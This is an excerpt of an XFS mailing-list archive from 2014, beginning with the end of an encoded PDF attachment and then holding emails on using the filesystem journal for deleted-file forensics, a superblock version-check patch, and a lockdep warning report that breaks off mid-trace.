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 8/bY0dq7OTj1/ENDpOpNueqdkdPDbfvyk/x032y6+eT9T5glNJHq+QcCGJvqkqN6qy4b0UdkT+Im mNZ7U6d8XpRWLjNMn3d77605M9Ta3DazLFw1a2rkNO3aKsstwboT34+c9SjkUJsHe2zCc076zo5J 6hbR3Ft6ZAKV6fXMeOHIQ/Yjgp8lTrr7wVnrzeGps6Oahub9dk9dbdmFxUXv6sPcRW0fnn/WvSbO 06tfhz7F+0ovj7e5G1ZSOWt91KCE1qvVmf2nrKqG3Fg4ZfiwlLEb/fP2bxs7ObCtu9XYECP7NXWP jrROS6fKi9alhoSX9D8y+rG8Vf+8Fpk12yWb758rUbXOPptYtql60NYHY6PW7IR0/grXJmRrL7rm 3XbnGDrESHNqP/8klYSBPdS7JG1XQv8FUwT9Bg0KZW5kc3RyZWFtDQplbmRvYmoNCjQ2IDAgb2Jq DQo8PC9UeXBlL1hSZWYvU2l6ZSA0Ni9XWyAxIDQgMl0gL1Jvb3QgMSAwIFIvSW5mbyAyMSAwIFIv SURbPDIzOUQ2QkVGQzJEQjhCNENBQjQyQ0NBMDQ2RTkzMDkwPjwyMzlENkJFRkMyREI4QjRDQUI0 MkNDQTA0NkU5MzA5MD5dIC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE2Mj4+DQpzdHJlYW0N CnicNdC/DsFQFAbwc6taRRulBonZLBHmUgZ9BYvFZrEzmr0B7yGewOoxRGsSWx3fxx3OL/fm/MsV 0VMURmMo8mVHLsDkoLEH4QA0e2QBWgGIHNDm43AJRisQ38B4CyZr8gJJRM5gapO3iKVLdKVKaqRO PPJL8bVg9vzfDLFIibjEITYpkwoJtMu8g+npAdyv4NEH2Qbk+BdzzMDJE/kA7bEa6w0KZW5kc3Ry ZWFtDQplbmRvYmoNCnhyZWYNCjAgNDcNCjAwMDAwMDAwMjIgNjU1MzUgZg0KMDAwMDAwMDAxNyAw MDAwMCBuDQowMDAwMDAwMTI1IDAwMDAwIG4NCjAwMDAwMDAxODggMDAwMDAgbg0KMDAwMDAwMDQ5 NSAwMDAwMCBuDQowMDAwMDA0MjI5IDAwMDAwIG4NCjAwMDAwMDQ0MDMgMDAwMDAgbg0KMDAwMDAw NDY0NiAwMDAwMCBuDQowMDAwMDA0Njk5IDAwMDAwIG4NCjAwMDAwMDQ4NzggMDAwMDAgbg0KMDAw MDAwNTEyNiAwMDAwMCBuDQowMDAwMDA1NDY3IDAwMDAwIG4NCjAwMDAwMTM2NjQgMDAwMDAgbg0K MDAwMDAxMzkyNSAwMDAwMCBuDQowMDAwMDE2NTk1IDAwMDAwIG4NCjAwMDAwMTY3NjQgMDAwMDAg bg0KMDAwMDAxNzAwNCAwMDAwMCBuDQowMDAwMDE3MTQyIDAwMDAwIG4NCjAwMDAwMTcxNzIgMDAw MDAgbg0KMDAwMDAxNzMzOCAwMDAwMCBuDQowMDAwMDE3NDEyIDAwMDAwIG4NCjAwMDAwMTc2NTYg MDAwMDAgbg0KMDAwMDAwMDAyMyA2NTUzNSBmDQowMDAwMDAwMDI0IDY1NTM1IGYNCjAwMDAwMDAw MjUgNjU1MzUgZg0KMDAwMDAwMDAyNiA2NTUzNSBmDQowMDAwMDAwMDI3IDY1NTM1IGYNCjAwMDAw MDAwMjggNjU1MzUgZg0KMDAwMDAwMDAyOSA2NTUzNSBmDQowMDAwMDAwMDMwIDY1NTM1IGYNCjAw MDAwMDAwMzEgNjU1MzUgZg0KMDAwMDAwMDAzMiA2NTUzNSBmDQowMDAwMDAwMDMzIDY1NTM1IGYN CjAwMDAwMDAwMzQgNjU1MzUgZg0KMDAwMDAwMDAzNSA2NTUzNSBmDQowMDAwMDAwMDM2IDY1NTM1 IGYNCjAwMDAwMDAwMzcgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDE4NzEzIDAw MDAwIG4NCjAwMDAwMTkwODcgMDAwMDAgbg0KMDAwMDA2MDM2MiAwMDAwMCBuDQowMDAwMDYwNzIw IDAwMDAwIG4NCjAwMDAwNjEwNDEgMDAwMDAgbg0KMDAwMDA2MTM3MiAwMDAwMCBuDQowMDAwMTA2 MjIyIDAwMDAwIG4NCjAwMDAxMDYyNDkgMDAwMDAgbg0KMDAwMDE4MzQxOCAwMDAwMCBuDQp0cmFp bGVyDQo8PC9TaXplIDQ3L1Jvb3QgMSAwIFIvSW5mbyAyMSAwIFIvSURbPDIzOUQ2QkVGQzJEQjhC NENBQjQyQ0NBMDQ2RTkzMDkwPjwyMzlENkJFRkMyREI4QjRDQUI0MkNDQTA0NkU5MzA5MD5dID4+ DQpzdGFydHhyZWYNCjE4Mzc4MQ0KJSVFT0YNCnhyZWYNCjAgMA0KdHJhaWxlcg0KPDwvU2l6ZSA0 Ny9Sb290IDEgMCBSL0luZm8gMjEgMCBSL0lEWzwyMzlENkJFRkMyREI4QjRDQUI0MkNDQTA0NkU5 MzA5MD48MjM5RDZCRUZDMkRCOEI0Q0FCNDJDQ0EwNDZFOTMwOTA+XSAvUHJldiAxODM3ODEvWFJl ZlN0bSAxODM0MTg+Pg0Kc3RhcnR4cmVmDQoxODQ4NzkNCiUlRU9G --===============2051246404==-- From david@fromorbit.com Sat Mar 8 18:28:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 844317F3F for ; Sat, 8 Mar 2014 18:28:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6CD698F8035 for ; Sat, 8 Mar 2014 16:28:27 -0800 (PST) X-ASG-Debug-ID: 1394324903-04cbb054b91a74a0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HK1ChiVv72bUj3QE for ; Sat, 08 Mar 2014 16:28:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvNeANu0G1N5LJYePGdsb2JhbABagwaDRoUMtB+FWIEJFwMBAQEBHxkNKIIlAQEBAwE6HBcBCwULCAMYCSUPBSUDBxoThh2BVAfPZRcWjkUHhDgEjHCLVIdJjiYpgSw Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 09 Mar 2014 10:58:21 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WMRbH-0005ES-5p; Sun, 09 Mar 2014 11:28:19 +1100 Date: Sun, 9 Mar 2014 11:28:19 +1100 From: Dave Chinner To: Greg Freemyer Cc: Stan Hoeppner , Yongmin , "xfs@oss.sgi.com" Subject: Re: Hello, I have a question about XFS File System Message-ID: <20140309002819.GT6851@dastard> X-ASG-Orig-Subj: Re: Hello, I have a question about XFS File System References: <195DE8C60CE24A62A71911FDE0B0DC97@gmail.com> <5318DB01.2040102@hardwarefreak.com> <279D0A265E5D4AF5B099BFAD4E8B1700@gmail.com> <531A4600.7050906@hardwarefreak.com> <20140307230915.GS6851@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394324904 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3717 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 07, 2014 at 07:38:15PM -0500, Greg Freemyer wrote: > On Fri, Mar 7, 2014 at 6:09 PM, Dave Chinner wrote: > > On Fri, Mar 07, 2014 at 04:19:44PM -0600, Stan Hoeppner wrote: > >> Please reply to the mailing list as well as the individual. > >> > >> Note that you stated: > >> > >> '...the concentrated part of mine is "Deleted File Recovery"' > >> > >> On 3/6/2014 10:02 PM, Yongmin wrote: > >> > > >> > Yes! there are no actual file data in journaling part. > >> > > >> > BUT, by analyzing journaling part, we can get a Inode Core Information which was deleted. > >> > In Inode Core, there are many information about the actual data, i.e. start address, file length etc. > >> > >> Analyzing the journal code may inform you about structures, but it won't > >> inform you about on disk locations of the structures and how to find > >> them. If a file has been deleted, no information about that is going to > >> exist in the journal for more than a few seconds before the transaction > >> is committed and the entry removed from the journal. > > > > Well, we don't actually "remove" information from the log. We update > > pointers that indicate what the active region is, but we never > > physically "remove" anything from it. IOWs, the information is in > > the journal until it wraps around and is over written by new > > checkpoints.... > > > >> > By using those information, Recovering delete file can be done. > >> > > >> > So the analysis of Journaling part is absolutely needed. > >> > >> I disagree. Again, the journal log is unrelated to "deleted file > >> recovery" in a forensics scenario. > >> > >> I think Dave and Jeff both missed the fact that you're interested only > >> in deleted file recovery, not in learning how the journal works for the > >> sake of learning how the journal works. > > > > Oh, no, I saw it and didn't think it was worth commenting on. I > > think it's a brain-dead concept trying to do undelete in the > > filesystem. "recoverable delete" was a problem solved 30 years ago - > > it's commonly known as a trash bin and you do it in userspace with a > > wrapper around unlink that calls rename(2) instead. And then "empty > > trashbin" is what does the unlink and permanently deletes the files. > > As a practicing forensicator, I can say "potentially recoverable > files" is a heavily used concept. "forensicator"? I'm so behind on my terminology. :/ Depsite not having some fancy title, I do forensic analysis of filesystem corpses *every day*. I have to do this in far more detail than a typical forensic analysis for data recovery or security breach post-mortem purposes because I've got to find the bug in the metadata that lead to the corruption or data loss in the first place.... > I don't know XFS on disk structure in detail, so I'll comment about > HFS+ and NTFS. [snip] XFS metadata is fully dynamic, so take the problems you have with HFS btree directory structures and apply it to *every* metadata structure in XFS. > As a last resort, data carving tools equivalent to photorec are used. > Photorec depends on the files not being fragmented and also fails to > recover any filesystem metadata such as filenames, timestamps, etc. Well, yes - anyone can grep a disk image for digital signatures and then hope the files have been stored contiguously. More advanced users write utilities like xfs_irecover or xfsr that walk the filesystem looking for inode magic numbers and manually decode the inode metadata themselves to recover the data they reference even when the files are not contiguous. These only work on unconnected inodes, though, because unlinked inodes don't have any metadata in them that is useful: xfs_db> inode 1029 xfs_db> p core.magic = 0x494e core.mode = 0 core.version = 2 core.format = 2 (extents) core.nlinkv2 = 0 core.onlink = 0 core.projid_lo = 0 core.projid_hi = 0 core.uid = 0 core.gid = 0 core.flushiter = 2 core.atime.sec = Sun Mar 9 10:44:22 2014 core.atime.nsec = 821908000 core.mtime.sec = Sun Mar 9 10:44:22 2014 core.mtime.nsec = 821908000 core.ctime.sec = Sun Mar 9 10:45:02 2014 core.ctime.nsec = 273908000 core.size = 0 core.nblocks = 0 core.extsize = 0 core.nextents = 0 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0 core.dmstate = 0 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.immutable = 0 core.append = 0 core.sync = 0 core.noatime = 0 core.nodump = 0 core.rtinherit = 0 core.projinherit = 0 core.nosymlinks = 0 core.extsz = 0 core.extszinherit = 0 core.nodefrag = 0 core.filestream = 0 core.gen = 1 next_unlinked = null u = (empty) xfs_db> daddr 0x202 xfs_db> p .... 100: 494e0000 02020000 00000000 00000000 00000000 00000000 00000000 00000002 120: 531bab56 30fd5220 531bab56 30fd5220 531bab7e 10538120 00000000 00000000 140: 00000000 00000000 00000000 00000000 00000002 00000000 00000000 00000001 160: ffffffff 00000000 00000000 00000000 00000000 00000000 00000000 00000000 180: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 1a0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 1c0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 1e0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 So, it has non-zero timestamps in it, but everything else is zeroed. IOWs, you can't get any information about what it contained before it was unlinked from it by looking at the unlinked inode on disk. But that wasn't the original question being asked, though. ;) > At the same time, I'm not familiar with forensic tool, free or > commercial, that parses the XFS filesystem for live files and > filesystem metadata such as timestamps. (I could be wrong, it is not > something I've had to research in the last few years.) Finding lost and/or unreferenced *live* metadata is what xfs_repair does. I've mentioned other tools above that can also be used for recovering stuff that xfs_repair won't find because it doesn't do a magic number search of every filesystem block in the fs... > > Besides, from a conceptual point of view after-the-fact filesystem > > based undelete is fundamentally flawed. i.e. the journal is a > > write-ahead logging journal and so can only be used to roll the > > filesystem state forwardi in time. Undelete requires having state > > and data in the journal that allows the filesystem to be rolled > > *backwards in time*. XFS simply does not record such information in > > the log and so parsing the log to "undelete files by transaction > > rollback" just doesn't work. > > I suspect you are assuming the goal is "reliable undelete". The No at all. > typical goal is the identification of potentially recoverable files. > I don't know if parsing the XFS journal can help with that. That's exactly the question I answered: journal parsing is mostly useless for forensic analysis of XFS filesystems with respect to recovery of deleted files. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sat Mar 8 18:33:01 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B0D177F50 for ; Sat, 8 Mar 2014 18:33:01 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5B4A6AC003 for ; Sat, 8 Mar 2014 16:32:58 -0800 (PST) X-ASG-Debug-ID: 1394325175-04bdf076f0f4ef0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Z52VGqvBDKLVDgiY for ; Sat, 08 Mar 2014 16:32:56 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvBeAP61G1N5LJYePGdsb2JhbABagwaDRoUMtB+FWIEJFwMBAQEBHxkNKIIlAQEBAwE6HCMQCAMOCgklDwUlAwcaE4dxB89lFxaORQeEOASYRJVvKYEuJA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 09 Mar 2014 11:02:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WMRfi-0005El-FN; Sun, 09 Mar 2014 11:32:54 +1100 Date: Sun, 9 Mar 2014 11:32:54 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality Message-ID: <20140309003254.GU6851@dastard> X-ASG-Orig-Subj: Re: [RFC, PATCH] xfs: make superblock version checks reflect reality References: <1394088890-10713-1-git-send-email-david@fromorbit.com> <20140306180534.GA305@infradead.org> <20140306225541.GL6851@dastard> <20140307101527.GC32333@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140307101527.GC32333@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1394325175 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3717 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Fri, Mar 07, 2014 at 02:15:27AM -0800, Christoph Hellwig wrote: > On Fri, Mar 07, 2014 at 09:55:41AM +1100, Dave Chinner wrote: > > > I'd vote to kill XFS_SB_NEEDED_FEATURES and just check the dirv2 bit > > > explicitly. > > > > Ok. The only real reason I did this was in case there's a single bit > > error that clears the dirv2 bit, but it still contains other bits > > that indicate that the superblock is recent enough that we > > understand it's contents and what should bein the fs. e.g. for > > db/repair purposes - if the dir2 bit is not set, but any of the > > above bits are set and the m_dirblklog is and it is sane, we can > > assume that we've lost the feature bit and repair it. > > Seems like we should just special case that in repair instead of > allowing a filesystem to go through in the kernel that is guaranteed to > be corrupted. Ok, that makes a lot of sense. I'll change it to do that. > > Should I just drop it out of the supported feature matrix and drop > > all other checks on that field? That way we can then remove all the > > the crap that tries to validate it from xfs_repair, too. I have no > > idea what is actually valid for this field, so I think we should > > simply drop support of it from everything. > > I think we should pretending we know anything about the shared mount > support. Everytime it came up I failed to find any hint on how it was > supposed to work. *nod*. I'll drop the shared bit from the supported matrix, and also treat sb_shared_vn != 0 a corruption. Cheers, Dave. -- Dave Chinner david@fromorbit.com From mlsemon35@gmail.com Sat Mar 8 20:58:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D11667F50 for ; Sat, 8 Mar 2014 20:58:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CA0C28F8037 for ; Sat, 8 Mar 2014 18:58:08 -0800 (PST) X-ASG-Debug-ID: 1394333883-04cb6c56763a4e90001-NocioJ Received: from mail-qg0-f45.google.com (mail-qg0-f45.google.com [209.85.192.45]) by cuda.sgi.com with ESMTP id egZyGRflWwrwFshc (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 08 Mar 2014 18:58:03 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.45 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.45] Received: by mail-qg0-f45.google.com with SMTP id j5so16530105qga.4 for ; Sat, 08 Mar 2014 18:58:03 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.45] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.45] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=CfzUH6RK/sdmm0/14re1VZ1kKIwTsM05dwu0230okvQ=; b=M55lBcemRi3uWHUQp84pW8ZYC+od/35CeDiNLZ6popIZDI46OpwcKzMpEb8dySgcce lQvyVlB99sWnFc6m6bWgds0Sicjt1nafb45PcjKpdGPMnNk83l3BXgeaOjwQPuoGA/Uk iNMmUvNG4FAr0jTa7sDbGXTiLTvNi1uGByh0R39Xs305hnNQKGBNgIUcELyv84tps6NP OgvCGNbLuTY3J0hf5jawJQ8x1s0xSyuzuNWNPpKHxUBYbo4kQcA7hl3KU7TrWfnvDaLt Z4CR1vkGwtV+a4UEFnbdglzavX54d7vu7pNnwMDnbu1Yaiain9pIBfl/W0cZ/Le5teWM e4+Q== X-Received: by 10.140.93.130 with SMTP id d2mr30015798qge.41.1394333883089; Sat, 08 Mar 2014 18:58:03 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id q10sm44591138qaj.13.2014.03.08.18.58.02 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 08 Mar 2014 18:58:02 -0800 (PST) Message-ID: <531BD8B9.1090400@gmail.com> Date: Sat, 08 Mar 2014 21:58:01 -0500 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: Multi-CPU harmless lockdep on x86 while copying data Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: Multi-CPU harmless lockdep on x86 while copying data Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-qg0-f45.google.com[209.85.192.45] X-Barracuda-Start-Time: 1394333883 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3719 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi! I was playing a shell game with some precious backup data. It went like this: open a 36-GB source partition (DM linear, partitions from 2 drives, v5-superblock XFS) open a 32-GB aes-xts crypt (v4-superblock XFS) `cp -av` from holding partition to crypt It was during the cp operation that I got this multi-CPU version of the harmless lockdep: ========================================================= [ INFO: possible irq lock inversion dependency detected ] 3.14.0-rc5+ #6 Not tainted --------------------------------------------------------- kswapd0/25 just changed the state of lock: (&xfs_dir_ilock_class){++++-.}, at: [<791c09fa>] xfs_ilock+0xff/0x16c but this lock took another, RECLAIM_FS-unsafe lock in the past: (&mm->mmap_sem){++++++} and interrupts could create inverse lock ordering between them. other info that might help us debug this: Possible interrupt unsafe locking scenario: CPU0 CPU1 ---- ---- lock(&mm->mmap_sem); local_irq_disable(); lock(&xfs_dir_ilock_class); lock(&mm->mmap_sem); 